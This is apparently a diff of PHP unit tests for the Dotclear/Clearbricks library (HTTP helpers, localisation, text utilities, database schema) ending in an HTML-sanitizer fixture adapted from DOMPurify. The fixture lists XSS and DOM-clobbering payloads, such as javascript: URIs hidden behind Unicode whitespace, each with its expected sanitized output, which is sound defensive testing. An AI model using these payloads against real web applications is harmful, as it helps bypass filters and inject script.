// On secure via $_SERVER
$_SERVER['HTTPS'] = 'on';
$this
->string(\http::getHost())
->isEqualTo('https://localhost');
// On sercure port with enforcing TLS
$_SERVER['SERVER_PORT'] = 443;
\http::$https_scheme_on_443 = true;
$this
->string(\http::getHost())
->isEqualTo('https://localhost');
}
public function testGetHostFromURL()
{
$this
->string(\http::getHostFromURL('https://www.dotclear.org/is-good-for-you/'))
->isEqualTo('https://www.dotclear.org');
// Note: An empty string might be confuse
$this
->string(\http::getHostFromURL('http:/www.dotclear.org/is-good-for-you/'))
->isEqualTo('');
}
public function testGetSelfURI()
{
$_SERVER['HTTP_HOST'] = 'localhost';
$_SERVER['SERVER_PORT'] = 80;
$_SERVER['REQUEST_URI'] = '/test.html';
$this
->string(\http::getSelfURI())
->isEqualTo('http://localhost/test.html');
// It's usually unlikly, but unlikly is not impossible.
$_SERVER['REQUEST_URI'] = 'test.html';
$this
->string(\http::getSelfURI())
->isEqualTo('http://localhost/test.html');
}
public function testPrepareRedirect()
{
$_SERVER['HTTP_HOST'] = 'localhost';
$_SERVER['SERVER_PORT'] = 80;
$_SERVER['REQUEST_URI'] = '/test.html';
$prepareRedirect = new \ReflectionMethod('\http', 'prepareRedirect');
$prepareRedirect->setAccessible(true);
$this
->string($prepareRedirect->invokeArgs(null, ['http://www.dotclear.org/auth.html']))
->isEqualTo('http://www.dotclear.org/auth.html');
$this
->string($prepareRedirect->invokeArgs(null, ['https://www.dotclear.org/auth.html']))
->isEqualTo('https://www.dotclear.org/auth.html');
$this
->string($prepareRedirect->invokeArgs(null, ['auth.html']))
->isEqualTo('http://localhost/auth.html');
$this
->string($prepareRedirect->invokeArgs(null, ['/admin/auth.html']))
->isEqualTo('http://localhost/admin/auth.html');
$_SERVER['PHP_SELF'] = '/test.php';
$this
->string($prepareRedirect->invokeArgs(null, ['auth.html']))
->isEqualTo('http://localhost/auth.html');
}
public function testConcatURL()
{
$this
->string(\http::concatURL('http://localhost', 'index.html'))
->isEqualTo('http://localhost/index.html');
$this
->string(\http::concatURL('http://localhost', 'page/index.html'))
->isEqualTo('http://localhost/page/index.html');
$this
->string(\http::concatURL('http://localhost', '/page/index.html'))
->isEqualTo('http://localhost/page/index.html');
$this
->string(\http::concatURL('http://localhost/', 'index.html'))
->isEqualTo('http://localhost/index.html');
$this
->string(\http::concatURL('http://localhost/', 'page/index.html'))
->isEqualTo('http://localhost/page/index.html');
$this
->string(\http::concatURL('http://localhost/', '/page/index.html'))
->isEqualTo('http://localhost/page/index.html');
$this
->string(\http::concatURL('http://localhost/admin', 'index.html'))
->isEqualTo('http://localhost/admin/index.html');
$this
->string(\http::concatURL('http://localhost/admin', 'page/index.html'))
->isEqualTo('http://localhost/admin/page/index.html');
$this
->string(\http::concatURL('http://localhost/admin', '/page/index.html'))
->isEqualTo('http://localhost/page/index.html');
$this
->string(\http::concatURL('http://localhost/admin/', 'index.html'))
->isEqualTo('http://localhost/admin/index.html');
$this
->string(\http::concatURL('http://localhost/admin/', 'page/index.html'))
->isEqualTo('http://localhost/admin/page/index.html');
$this
->string(\http::concatURL('http://localhost/admin/', '/page/index.html'))
->isEqualTo('http://localhost/page/index.html');
}
public function testRealIP()
{
$this
->variable(\http::realIP())
->isNull();
$_SERVER['REMOTE_ADDR'] = '192.168.0.42';
$this
->string(\http::realIP())
->isEqualTo('192.168.0.42');
}
public function testBrowserUID()
{
unset($_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_CHARSET']);
$this
->string(\http::browserUID('dotclear'))
->isEqualTo('d82ae3c43cf5af4d0a8a8bc1f691ee5cc89332fd');
$_SERVER['HTTP_USER_AGENT'] = 'Dotclear';
$this
->string(\http::browserUID('dotclear'))
->isEqualTo('ef1c4702c3b684637a95d482e39536a943fef7a1');
$_SERVER['HTTP_ACCEPT_CHARSET'] = 'ISO-8859-1,utf-8;q=0.7,*;q=0.3';
$this
->string(\http::browserUID('dotclear'))
->isEqualTo('ce3880093944405b1c217b4e2fba05e93ccc07e4');
unset($_SERVER['HTTP_USER_AGENT']);
$this
->string(\http::browserUID('dotclear'))
->isEqualTo('c1bb85ca96d62726648053f97922eee5ceda78e9');
}
public function testGetAcceptLanguage()
{
unset($_SERVER['HTTP_ACCEPT_LANGUAGE']);
$this
->string(\http::getAcceptLanguage())
->isEqualTo('');
$_SERVER['HTTP_ACCEPT_LANGUAGE'] = 'fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7';
$this
->string(\http::getAcceptLanguage())
->isEqualTo('fr');
}
public function testGetAcceptLanguages()
{
unset($_SERVER['HTTP_ACCEPT_LANGUAGE']);
$this
->array(\http::getAcceptLanguages())
->isEmpty();
$_SERVER['HTTP_ACCEPT_LANGUAGE'] = 'fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7';
$this
->array(\http::getAcceptLanguages())
->string[0]->isEqualTo('fr-fr')
->string[1]->isEqualTo('fr')
->string[2]->isEqualTo('en-us')
->string[3]->isEqualTo('en');
}
public function testCache()
{
$this
->variable(\http::cache([]))
->isNull();
\files::getDirList(TEST_DIRECTORY, $arr);
$fl = [];
foreach ($arr['files'] as $file) {
if ($file != '.' && $file != '..') {
$fl[] = $file;
}
}
$_SERVER['HTTP_IF_MODIFIED_SINCE'] = 'Tue, 27 Feb 2004 10:17:09 GMT';
$this
->variable(\http::cache($fl))
->isNull();
}
public function testEtag()
{
$_SERVER['HTTP_IF_NONE_MATCH'] = 'W/"67ab43", "54ed21", "7892dd"';
$this
->variable(\http::etag())
->isNull();
$this
->variable(\http::etag('bfc13a64729c4290ef5b2c2730249c88ca92d82d'))
->isNull();
}
public function testHead()
{
$this
->variable(\http::head(200))
->isNull();
$this
->variable(\http::head(200, '\\o/'))
->isNull();
}
public function testTrimRequest()
{
$_GET['single'] = 'single';
$_GET['trim_single'] = ' trim_single ';
$_GET['multiple'] = ['one ', 'two', ' three', ' four ', [' five ']];
$_POST['post'] = ' test ';
$_REQUEST['request'] = ' test\\\'n\\\'test ';
$_COOKIE['cookie'] = ' test ';
\http::trimRequest();
$this
->array($_GET)
->string['single']->isEqualTo('single')
->string['trim_single']->isEqualTo('trim_single')
->array['multiple']
->string[0]->isEqualTo('one')
->array['multiple']
->string[1]->isEqualTo('two')
->array['multiple']
->string[2]->isEqualTo('three')
->array['multiple']
->string[3]->isEqualTo('four')
->array['multiple']
->array[4]
->string[0]->isEqualTo('five')
->array($_POST)
->string['post']->isEqualTo('test')
->array($_REQUEST)
->string['request']->isEqualTo('test\\\'n\\\'test')
->array($_COOKIE)
->string['cookie']->isEqualTo('test');
}
}

View file

@ -0,0 +1,432 @@
<?php
# ***** BEGIN LICENSE BLOCK *****
# This file is part of Clearbricks.
# Copyright (c) 2003-2013 Olivier Meunier & Association Dotclear
# All rights reserved.
#
# Clearbricks is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Clearbricks is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Clearbricks; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# ***** END LICENSE BLOCK *****
namespace tests\unit;
use atoum;
use Faker;
require_once __DIR__ . '/../bootstrap.php';
require_once CLEARBRICKS_PATH . '/common/lib.l10n.php';
class l10n extends atoum
{
private $l10n_dir = '/../fixtures/l10n';
public function testWithEmpty()
{
$this
->string(__(''))
->isEqualTo('');
}
public function testWithoutTranslation()
{
$faker = Faker\Factory::create();
$text = $faker->text(50);
$this
->string(__($text))
->isEqualTo($text);
}
public function testSimpleSingular()
{
\l10n::init();
\l10n::set(__DIR__ . '/../fixtures/l10n/fr/core');
$this
->string(__('Dotclear has been upgraded.'))
->isEqualTo('Dotclear a été mis à jour.');
}
public function testZeroForCountEn()
{
\l10n::init();
$this
->string(__('singular', 'plural', 0))
->isEqualTo('plural');
}
public function testZeroForCountFr()
{
\l10n::init();
\l10n::set(__DIR__ . '/../fixtures/l10n/fr/main');
$this
->string(__('The category has been successfully removed.', 'The categories have been successfully removed.', 0))
->isEqualTo('Catégories supprimées avec succès.');
$this
->string(__('Time: %1 second', 'Time: %1 seconds and Next', 2))
->isEqualTo('Temps: %1 secondes');
}
public function testZeroForCountFrUsingLang()
{
\l10n::init();
\l10n::set(__DIR__ . '/../fixtures/l10n/fr/main');
\l10n::lang('fr');
$this
->string(__('The category has been successfully removed.', 'The categories have been successfully removed.', 0))
->isEqualTo('Catégorie supprimée avec succès.');
}
public function testPluralWithSingularOnly()
{
\l10n::init();
\l10n::set(__DIR__ . '/../fixtures/l10n/fr/main');
$this
->string(__('Dotclear has been upgraded.', 'Dotclear has been upgraded (plural).', 0))
->isEqualTo('Dotclear a été mis à jour (pluriel).');
}
public function testCodeLang()
{
\l10n::init();
$this
->boolean(\l10n::isCode('xx'))
->isEqualTo(false);
$this
->boolean(\l10n::isCode('fr'))
->isEqualTo(true);
}
public function testChangeNonExistingLangShouldUseDefaultOne()
{
\l10n::init('en');
$this
->string(\l10n::lang('xx'))
->isEqualTo('en');
}
public function testgetLanguageName()
{
\l10n::init();
$this
->string(\l10n::getLanguageName('fr'))
->isEqualTo('Français');
}
public function testgetCode()
{
\l10n::init();
$this
->string(\l10n::getCode('Français'))
->isEqualTo('fr');
$this
->string(\l10n::getCode(\l10n::getLanguageName('es')))
->isEqualTo('es');
}
public function testPhpFormatSingular()
{
$faker = Faker\Factory::create();
$text = $faker->text(20);
\l10n::init();
\l10n::set(__DIR__ . '/../fixtures/l10n/fr/php-format');
$this
->string(sprintf(__('The e-mail was sent successfully to %s.'), $text))
->isEqualTo(sprintf('Message envoyé avec succès à %s.', $text));
}
public function testPluralWithoutTranslation()
{
\l10n::init();
\l10n::set(__DIR__ . '/../fixtures/l10n/dummy');
$this
->string(__('The category has been successfully removed.', 'The categories have been successfully removed.', 1))
->isEqualTo('The category has been successfully removed.');
$this
->string(__('The category has been successfully removed.', 'The categories have been successfully removed.', 2))
->isEqualTo('The categories have been successfully removed.');
}
public function testPluralWithEmptyTranslation()
{
\l10n::init();
\l10n::set(__DIR__ . '/../fixtures/l10n/empty');
$this
->string(__('The category has been successfully removed.', 'The categories have been successfully removed.', 1))
->isEqualTo('The category has been successfully removed.');
$this
->string(__('The category has been successfully removed.', 'The categories have been successfully removed.', 2))
->isEqualTo('The categories have been successfully removed.');
}
public function testPluralForLanguageWithoutPluralForms()
{
\l10n::init();
$this
->integer(\l10n::getLanguagePluralsNumber('aa'))
->isEqualTo(\l10n::getLanguagePluralsNumber('en'));
$this
->string(\l10n::getLanguagePluralExpression('aa'))
->isEqualTo(\l10n::getLanguagePluralExpression('en'));
}
public function testSimplePlural()
{
\l10n::init();
\l10n::set(__DIR__ . '/../fixtures/l10n/fr/main');
/*
msgid "The category has been successfully removed."
msgid_plural "The categories have been successfully removed."
msgstr[0] "Catégorie supprimée avec succès."
msgstr[1] "Catégories supprimées avec succès."
*/
$this
->string(__('The category has been successfully removed.', 'The categories have been successfully removed.', 1))
->isEqualTo('Catégorie supprimée avec succès.');
$this
->string(__('The category has been successfully removed.', 'The categories have been successfully removed.', 2))
->isEqualTo('Catégories supprimées avec succès.');
}
public function testNotExistingPhpAndPoFiles()
{
\l10n::init();
\l10n::set(__DIR__ . '/../fixtures/l10n/dummy');
$this
->string(__('Dotclear has been upgraded.'))
->isEqualTo('Dotclear has been upgraded.');
}
public function testNotExistingPoFile()
{
\l10n::init();
\l10n::set(__DIR__ . '/../fixtures/l10n/fr/nopo');
$this
->string(__('Dotclear has been upgraded.'))
->isEqualTo('Dotclear a été mis à jour.');
}
public function testGetFilePath()
{
\l10n::init();
$this
->string(\l10n::getFilePath(__DIR__ . $this->l10n_dir, 'main.po', 'fr'))
->isEqualTo(__DIR__ . $this->l10n_dir . '/fr/main.po');
$this
->boolean(\l10n::getFilePath(__DIR__ . $this->l10n_dir, 'dummy.po', 'fr'))
->isEqualTo(false);
}
public function testMultiLineIdString()
{
\l10n::init();
$en_str = 'Not a real long sentence';
$content = 'msgid ""' . "\n" . '"';
$content .= implode('"' . "\n" . '" ', explode(' ', $en_str));
$content .= '"' . "\n";
$content .= 'msgstr "Pas vraiment une très longue phrase"' . "\n";
$tmp_file = $this->tempPoFile($content);
\l10n::set(str_replace('.po', '', $tmp_file));
$this
->string(__($en_str))
->isEqualTo('Pas vraiment une très longue phrase');
if (file_exists($tmp_file)) {
unlink($tmp_file);
}
}
public function testMultiLineValueString()
{
\l10n::init();
$en_str = 'Not a real long sentence';
$fr_str = 'Pas vraiment une très longue phrase';
$content = 'msgid "' . $en_str . '"' . "\n";
$content .= 'msgstr ""' . "\n" . '"';
$content .= implode('"' . "\n" . '" ', explode(' ', $fr_str));
$content .= '"' . "\n";
$tmp_file = $this->tempPoFile($content);
\l10n::set(str_replace('.po', '', $tmp_file));
$this
->string(__($en_str))
->isEqualTo($fr_str);
if (file_exists($tmp_file)) {
unlink($tmp_file);
}
}
public function testSimpleStringInPhpFile()
{
\l10n::init();
$file = __DIR__ . '/../fixtures/l10n/fr/simple';
if (file_exists("$file.lang.php")) {
unlink("$file.lang.php");
}
\l10n::generatePhpFileFromPo($file);
\l10n::set($file);
$this
->array($GLOBALS['__l10n'])
->isIdenticalTo(['Dotclear has been upgraded.' => 'Dotclear a été mis à jour.']);
}
public function testPluralStringsInPhpFile()
{
\l10n::init();
$file = __DIR__ . '/../fixtures/l10n/fr/plurals';
if (file_exists("$file.lang.php")) {
unlink("$file.lang.php");
}
\l10n::generatePhpFileFromPo($file);
\l10n::set($file);
$this
->array($GLOBALS['__l10n'])
->isIdenticalTo(['The category has been successfully removed.' => ['Catégorie supprimée avec succès.', 'Catégories supprimées avec succès.']]);
}
public function testParsePluralExpression()
{
$this
->array(\l10n::parsePluralExpression('nplurals=2; plural=(n > 1)'))
->hasSize(2)
->containsValues([2, '(n > 1)']);
$this
->array(\l10n::parsePluralExpression('nplurals=6; plural=(n == 0 ? 0 : n == 1 ? 1 : n == 2 ? 2 : n % 100 >= 3 && n % 100 <= 10 ? 3 : n % 100 >= 11 ? 4 : 5)'))
->hasSize(2)
->containsValues([6, '(n == 0 ? ( 0 ) : ( n == 1 ? ( 1 ) : ( n == 2 ? ( 2 ) : ( n % 100 >= 3 && n % 100 <= 10 ? ( 3 ) : ( n % 100 >= 11 ? ( 4 ) : ( 5))))))']);
}
public function testGetISOcodes()
{
$this
->array(\l10n::getISOcodes())
->string['fr']->isEqualTo('Français');
$this
->array(\l10n::getISOcodes(true))
->string['Français']->isEqualTo('fr');
$this
->array(\l10n::getISOcodes(false, true))
->string['fr']->isEqualTo('fr - Français');
$this
->array(\l10n::getISOcodes(true, true))
->string['fr - Français']->isEqualTo('fr');
}
public function testGetTextDirection()
{
$this
->string(\l10n::getLanguageTextDirection('fr'))
->isEqualTo('ltr');
$this
->string(\l10n::getLanguageTextDirection('ar'))
->isEqualTo('rtl');
}
public function testGetLanguagesDefinitions()
{
$getLangDefs = new \ReflectionMethod('\l10n', 'getLanguagesDefinitions');
$getLangDefs->setAccessible(true);
$this
->array($getLangDefs->invokeArgs(null, [0]))
->isNotEmpty();
$this
->array($getLangDefs->invokeArgs(null, [13]))
->isEmpty();
$this
->array($getLangDefs->invokeArgs(null, [0]))
->string['fr']->isEqualTo('fr');
$this
->array($getLangDefs->invokeArgs(null, [1]))
->string['fr']->isEqualTo('fre');
$this
->array($getLangDefs->invokeArgs(null, [2]))
->string['fr']->isEqualTo('French');
$this
->array($getLangDefs->invokeArgs(null, [3]))
->string['fr']->isEqualTo('Français');
$this
->array($getLangDefs->invokeArgs(null, [4]))
->string['fr']->isEqualTo('ltr');
$this
->array($getLangDefs->invokeArgs(null, [5]))
->integer['fr']->isEqualTo(2);
$this
->array($getLangDefs->invokeArgs(null, [6]))
->string['fr']->isEqualTo('n > 1');
}
/*
**/
protected function tempPoFile($content)
{
$filename = sys_get_temp_dir() . '/temp.po';
file_put_contents($filename, $content);
return $filename;
}
}

View file

@ -0,0 +1,194 @@
<?php
# -- BEGIN LICENSE BLOCK ---------------------------------------
#
# This file is part of Dotclear 2.
#
# Copyright (c) 2003-2013 Olivier Meunier & Association Dotclear
# Licensed under the GPL version 2.0 license.
# See LICENSE file or
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
#
# -- END LICENSE BLOCK -----------------------------------------
namespace tests\unit;
require_once __DIR__ . '/../bootstrap.php';
require_once CLEARBRICKS_PATH . '/common/lib.text.php';
require_once CLEARBRICKS_PATH . '/common/lib.html.php';
use atoum;
use Faker;
/**
* Test the form class
*/
class text extends atoum
{
public function testIsEmail()
{
$faker = Faker\Factory::create();
$text = $faker->email();
$this
->boolean(\text::isEmail($text))
->isTrue();
$this
->boolean(\text::isEmail('@dotclear.org'))
->isFalse();
}
/**
* @dataProvider testIsEmailDataProvider
*/
protected function testIsEmailAllDataProvider()
{
require_once __DIR__ . '/../fixtures/data/lib.text.php';
return array_values($emailTest);
}
public function testIsEmailAll($payload, $expected)
{
$this
->boolean(\text::isEmail($payload))
->isEqualTo($expected);
}
public function testDeaccent()
{
$this
->string(\text::deaccent('ÀÅÆÇÐÈËÌÏÑÒÖØŒŠÙÜÝŽàåæçðèëìïñòöøœšùüýÿžß éè'))
->isEqualTo('AAAECDEEIINOOOOESUUYZaaaecdeeiinooooesuuyyzss ee');
}
public function teststr2URL()
{
$this
->string(\text::str2URL('https://domain.com/ÀÅÆÇÐÈËÌÏÑÒÖØŒŠÙÜÝŽàåæçðèëìïñòöøœšùüýÿžß/éè.html'))
->isEqualTo('https://domaincom/AAAECDEEIINOOOOESUUYZaaaecdeeiinooooesuuyyzss/eehtml');
$this
->string(\text::str2URL('https://domain.com/ÀÅÆÇÐÈËÌÏÑÒÖØŒŠÙÜÝŽàåæçðèëìïñòöøœšùüýÿžß/éè.html', false))
->isEqualTo('https:-domaincom-AAAECDEEIINOOOOESUUYZaaaecdeeiinooooesuuyyzss-eehtml');
}
public function testTidyURL()
{
// Keep /, no spaces
$this
->string(\text::tidyURL('Étrange et curieux/=À vous !'))
->isEqualTo('Étrange-et-curieux/À-vous-!');
// Keep /, keep spaces
$this
->string(\text::tidyURL('Étrange et curieux/=À vous !', true, true))
->isEqualTo('Étrange et curieux/À vous !');
// No /, keep spaces
$this
->string(\text::tidyURL('Étrange et curieux/=À vous !', false, true))
->isEqualTo('Étrange et curieux-À vous !');
// No /, no spaces
$this
->string(\text::tidyURL('Étrange et curieux/=À vous !', false, false))
->isEqualTo('Étrange-et-curieux-À-vous-!');
}
public function testcutString()
{
$faker = Faker\Factory::create();
$text = $faker->realText(400);
$this
->string(\text::cutString($text, 200))
->hasLengthLessThan(201);
$this
->string(\text::cutString('https:-domaincom-AAAECDEEIINOOOOESUUYZaaaecdeeiinooooesuuyyzss-eehtml', 20))
->isIdenticalTo('https:-domaincom-AAA');
$this
->string(\text::cutString('https domaincom AAAECDEEIINOOOOESUUYZaaaecdeeiinooooesuuyyzss eehtml', 20))
->isIdenticalTo('https domaincom');
}
public function testSplitWords()
{
$this
->array(\text::splitWords('Étrange et curieux/=À vous !'))
->hasSize(3)
->string[0]->isEqualTo('étrange')
->string[1]->isEqualTo('curieux')
->string[2]->isEqualTo('vous');
$this
->array(\text::splitWords(' '))
->hasSize(0);
}
public function testDetectEncoding()
{
$this
->string(\text::detectEncoding('Étrange et curieux/=À vous !'))
->isEqualTo('utf-8');
$test = mb_convert_encoding('Étrange et curieux/=À vous !', 'ISO-8859-1');
$this
->string(\text::detectEncoding($test))
->isEqualTo('iso-8859-1');
}
public function testToUTF8()
{
$this
->string(\text::toUTF8('Étrange et curieux/=À vous !'))
->isEqualTo('Étrange et curieux/=À vous !');
$test = mb_convert_encoding('Étrange et curieux/=À vous !', 'ISO-8859-1');
$this
->string(\text::toUTF8($test))
->isEqualTo('Étrange et curieux/=À vous !');
}
public function testUtf8badFind()
{
$this
->variable(\text::utf8badFind('Étrange et curieux/=À vous !'))
->isEqualTo(false);
$this
->variable(\text::utf8badFind('Étrange et ' . chr(0xE0A0BF) . ' curieux/=À vous' . chr(0xC280) . ' !'))
->isEqualTo(12);
}
public function testCleanUTF8()
{
$this
->string(\text::cleanUTF8('Étrange et curieux/=À vous !'))
->isEqualTo('Étrange et curieux/=À vous !');
$this
->string(\text::cleanUTF8('Étrange et ' . chr(0xE0A0BF) . ' curieux/=À vous' . chr(0xC280) . ' !'))
->isEqualTo('Étrange et ? curieux/=À vous? !');
}
public function testRemoveBOM()
{
$this
->string(\text::removeBOM('Étrange et curieux/=À vous !'))
->isEqualTo('Étrange et curieux/=À vous !');
$this
->string(\text::removeBOM('' . 'Étrange et curieux/=À vous !'))
->isEqualTo('Étrange et curieux/=À vous !');
}
public function testQPEncode()
{
$this
->string(\text::QPEncode('Étrange et curieux/=À vous !'))
->isEqualTo('=C3=89trange et curieux/=3D=C3=80 vous !' . "\r\n");
}
}

View file

@ -0,0 +1,118 @@
<?php
# ***** BEGIN LICENSE BLOCK *****
# This file is part of Clearbricks.
# Copyright (c) 2003-2013 Olivier Meunier & Association Dotclear
# All rights reserved.
#
# Clearbricks is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Clearbricks is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Clearbricks; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# ***** END LICENSE BLOCK *****
namespace tests\unit;
use atoum;
require_once __DIR__ . '/../bootstrap.php';
require_once CLEARBRICKS_PATH . '/dbschema/class.dbschema.php';
class dbSchema extends atoum
{
private $prefix = 'dc_';
private $index = 0;
private function getConnection($driver)
{
$controller = new \atoum\atoum\mock\controller();
$controller->__construct = function () {};
$class_name = sprintf('\mock\%sConnection', $driver);
$con = new $class_name($driver, $controller);
$this->calling($con)->driver = $driver;
return $con;
}
public function testQueryForCreateTable($driver, $query)
{
$con = $this->getConnection($driver);
$table_name = $this->prefix . 'blog';
$fields = ['status' => ['type' => 'smallint', 'len' => 0, 'null' => false, 'default' => -2]];
$this
->if($schema = \dbSchema::init($con))
->and($schema->createTable($table_name, $fields))
->then()
->mock($con)->call('execute')
->withIdenticalArguments($query)
->once();
}
public function testQueryForRetrieveFields($driver, $query)
{
$con = $this->getConnection($driver);
$table_name = $this->prefix . 'blog';
$this
->if($schema = \dbSchema::init($con))
->and($schema->getColumns($table_name))
->then()
->mock($con)->call('select')
->withIdenticalArguments($query)
->once();
}
/*
* providers
**/
protected function testQueryForCreateTableDataProvider()
{
$query['pgsql'] = sprintf('CREATE TABLE "%sblog" (' . "\n", $this->prefix);
$query['pgsql'] .= 'status smallint NOT NULL DEFAULT -2 ' . "\n";
$query['pgsql'] .= ')';
$query['mysqli'] = sprintf('CREATE TABLE `%sblog` (' . "\n", $this->prefix);
$query['mysqli'] .= '`status` smallint NOT NULL DEFAULT -2 ' . "\n";
$query['mysqli'] .= ') ENGINE=InnoDB CHARACTER SET utf8 COLLATE utf8_bin ';
$query['mysqlimb4'] = sprintf('CREATE TABLE `%sblog` (' . "\n", $this->prefix);
$query['mysqlimb4'] .= '`status` smallint NOT NULL DEFAULT -2 ' . "\n";
$query['mysqlimb4'] .= ') ENGINE=InnoDB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci';
return [
['pgsql', $query['pgsql']],
['mysqli', $query['mysqli']],
['mysqlimb4', $query['mysqlimb4']],
];
}
protected function testQueryForRetrieveFieldsDataProvider()
{
$query['pgsql'] = sprintf("SELECT column_name, udt_name, character_maximum_length, is_nullable, column_default FROM information_schema.columns WHERE table_name = '%sblog' ", $this->prefix);
$query['mysqli'] = sprintf('SHOW COLUMNS FROM `%sblog`', $this->prefix);
$query['mysqlimb4'] = $query['mysqli'];
return [
['pgsql', $query['pgsql']],
['mysqli', $query['mysqli']],
['mysqlimb4', $query['mysqlimb4']],
];
}
}

View file

@ -0,0 +1,89 @@
<?php
# ***** BEGIN LICENSE BLOCK *****
# This file is part of Clearbricks.
# Copyright (c) 2003-2013 Olivier Meunier & Association Dotclear
# All rights reserved.
#
# Clearbricks is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Clearbricks is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Clearbricks; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# ***** END LICENSE BLOCK *****
namespace tests\unit;
use atoum;
require_once __DIR__ . '/../bootstrap.php';
require_once CLEARBRICKS_PATH . '/dbschema/class.dbstruct.php';
class dbStruct extends atoum
{
private $prefix = 'dc_';
private function getConnection($driver)
{
$controller = new \atoum\atoum\mock\controller();
$controller->__construct = function () {};
$class_name = sprintf('\mock\%sConnection', $driver);
$con = new $class_name($driver, $controller);
$this->calling($con)->driver = $driver;
return $con;
}
public function testMustEscapeNameInCreateTable($driver, $query)
{
$con = $this->getConnection($driver);
$s = new \dbStruct($con, $this->prefix);
$s->blog->blog_id('varchar', 32, false);
$tables = $s->getTables();
$tname = $this->prefix . 'blog';
$this
->if($schema = \dbSchema::init($con))
->and($schema->createTable($tname, $tables[$tname]->getFields()))
->then()
->mock($con)->call('execute')
->withIdenticalArguments($query)
->once();
}
/*
* providers
**/
protected function testMustEscapeNameInCreateTableDataProvider()
{
$create_query['mysqli'] = sprintf('CREATE TABLE `%sblog` (' . "\n", $this->prefix);
$create_query['mysqli'] .= '`blog_id` varchar(32) NOT NULL ' . "\n";
$create_query['mysqli'] .= ') ENGINE=InnoDB CHARACTER SET utf8 COLLATE utf8_bin ';
$create_query['mysqlimb4'] = sprintf('CREATE TABLE `%sblog` (' . "\n", $this->prefix);
$create_query['mysqlimb4'] .= '`blog_id` varchar(32) NOT NULL ' . "\n";
$create_query['mysqlimb4'] .= ') ENGINE=InnoDB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci';
$create_query['pgsql'] = sprintf('CREATE TABLE "%sblog" (' . "\n", $this->prefix);
$create_query['pgsql'] .= 'blog_id varchar(32) NOT NULL ' . "\n" . ')';
return [
['pgsql', $create_query['pgsql']],
['mysqli', $create_query['mysqli']],
['mysqlimb4', $create_query['mysqlimb4']],
];
}
}

View file

@ -0,0 +1,2 @@
dc: dotclear
cb: clearbicks

View file

@ -0,0 +1,930 @@
<?php
// See: https://github.com/cure53/DOMPurify/blob/master/test/fixtures/expect.js
$dataTest = [
[
'title' => "Don't remove ARIA attributes if not prohibited",
'payload' => '<div aria-labelledby="msg--title" role="dialog" class="msg"><button class="modal-close" aria-label="close" type="button"><i class="icon-close"></i>some button</button></div>',
'expected' => '<div aria-labelledby="msg--title" role="dialog" class="msg"><button class="modal-close" aria-label="close" type="button"><i class="icon-close"></i>some button</button></div>',
],
[
'title' => 'safe usage of URI-like attribute values',
'payload' => '<b href="javascript:alert(1)" title="javascript:alert(2)"></b>',
'expected' => '<b title="javascript:alert(2)"></b>',
],
[
'title' => 'src Attributes for IMG, AUDIO, VIDEO and SOURCE (see #131)',
'payload' => '<img src="data:,123"><audio src="data:,456"></audio><video src="data:,789"></video><source src="data:,012"><div src="data:,345">',
'expected' => '<img src="data:,123" /><audio src="data:,456"></audio><video src="data:,789"></video><source src="data:,012" /><div>',
],
[
'title' => 'DOM Clobbering against document.createElement() (see #47)',
'payload' => '<img src=x name=createElement><img src=y id=createElement>',
'expected' => '',
],
[
'title' => 'DOM Clobbering against an empty cookie',
'payload' => '<img src=x name=cookie>',
'expected' => '',
],
[
'title' => 'JavaScript URIs using Unicode LS/PS I',
'payload' => "123<a href='\u2028javascript:alert(1)'>I am a dolphin!</a>",
'expected' => '123<a href="#">I am a dolphin!</a>',
],
[
'title' => 'JavaScript URIs using Unicode Whitespace',
'payload' => "123<a href=' javascript:alert(1)'>CLICK</a><a href='&#xA0javascript:alert(1)'>CLICK</a><a href='&#x1680;javascript:alert(1)'>CLICK</a><a href='&#x180E;javascript:alert(1)'>CLICK</a><a href='&#x2000;javascript:alert(1)'>CLICK</a><a href='&#x2001;javascript:alert(1)'>CLICK</a><a href='&#x2002;javascript:alert(1)'>CLICK</a><a href='&#x2003;javascript:alert(1)'>CLICK</a><a href='&#x2004;javascript:alert(1)'>CLICK</a><a href='&#x2005;javascript:alert(1)'>CLICK</a><a href='&#x2006;javascript:alert(1)'>CLICK</a><a href='&#x2006;javascript:alert(1)'>CLICK</a><a href='&#x2007;javascript:alert(1)'>CLICK</a><a href='&#x2008;javascript:alert(1)'>CLICK</a><a href='&#x2009;javascript:alert(1)'>CLICK</a><a href='&#x200A;javascript:alert(1)'>CLICK</a><a href='&#x200B;javascript:alert(1)'>CLICK</a><a href='&#x205f;javascript:alert(1)'>CLICK</a><a href='&#x3000;javascript:alert(1)'>CLICK</a>",
'expected' => '123<a href="#">CLICK</a>',
],
[
'title' => 'Image with data URI src',
'payload' => '<img src=data:image/jpeg,ab798ewqxbaudbuoibeqbla>',
'expected' => '',
],
[
'title' => 'Image with data URI src with whitespace',
'payload' => "<img src=\"\r\ndata:image/jpeg,ab798ewqxbaudbuoibeqbla\">",
